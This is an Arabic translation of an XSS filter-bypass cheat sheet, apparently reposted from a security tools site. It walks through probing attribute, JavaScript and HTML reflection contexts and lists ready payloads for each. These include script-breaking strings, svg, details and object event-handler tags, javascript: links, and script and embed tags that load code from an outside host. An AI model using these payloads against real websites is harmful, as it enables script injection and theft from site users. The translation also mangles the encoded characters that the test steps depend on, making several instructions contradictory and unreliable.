إذا لم ينجح أي من هذا، ألقِ نظرة على قسم Awesome Bypassing
أولًا، أدخل سلسلة غير ضارة مثل d3v وانظر إلى الكود المصدري لتكوين فكرة عن عدد وسياقات الانعكاس.
الآن بالنسبة لسياق السمة، تحقق مما إذا كانت علامات الاقتباس المزدوجة (") تُفلتر عن طريق إدخال x"d3v. إذا تغيّرت إلى x"d3v، فمن المرجح أن المخرجات يتم ترميزها بشكل صحيح. إذا حدث ذلك، جرّب الأمر نفسه مع علامات الاقتباس المفردة (') بإدخال x'd3v، وإذا تغيّرت إلى x'، فأنت في مأزق. الشيء الوحيد الذي يمكنك تجربته هو الترميز.
إذا لم تتم فلترة علامات الاقتباس، يمكنك ببساطة تجربة الحمولات من قسم Awesome Context Breaking.
بالنسبة لسياق JavaScript، تحقق من علامات الاقتباس المستخدمة، على سبيل المثال إذا كانوا يستخدمون
root@kitploit:~
variable = 'value' or variable = "value"
الآن لنفترض أن علامات الاقتباس المفردة (') هي المستخدمة، في هذه الحالة أدخل x'd3v. إذا تغيّرت إلى x\'d3v، حاول تخطي الخط المائل العكسي () بإضافة خط مائل عكسي إلى اختبارك، أي x\'d3v. إذا نجح الأمر، استخدم الحمولة التالية:
root@kitploit:~
\'-alert()//
ولكن إذا تغيّرت إلى x\\\'d3v، فإن الشيء الوحيد الذي يمكنك تجربته هو إغلاق وسم السكربت نفسه باستخدام
root@kitploit:~
</script><svg onload=alert()>
بالنسبة لسياق HTML البسيط، يكون الاختبار هو x<d3v. إذا تغيّر إلى x>d3v، فهناك تنقية (sanitization) مناسبة. إذا انعكس كما هو، يمكنك إدخال وسم وهمي للتحقق من المرشحات المحتملة. الوسم الوهمي الذي أحب استخدامه هو x<xxx>. إذا تمت إزالته أو تغييره بأي شكل، فهذا يعني أن المرشح يبحث عن زوج من < و >. يمكن تجاوزه ببساطة باستخدام
root@kitploit:~
<svg onload=alert()//
أو هذا (لن يعمل في جميع الحالات)
root@kitploit:~
<svg onload=alert()
إذا ظهر وسمك الوهمي في الكود المصدري كما هو، فاستخدم أيًا من هذه الحمولات
root@kitploit:~
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
التجاوز الرائع
ملاحظة: لا تستخدم أي من هذه الحمولات علامات الاقتباس المفردة (') أو المزدوجة (").
بدون معالجات أحداث
root@kitploit:~
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>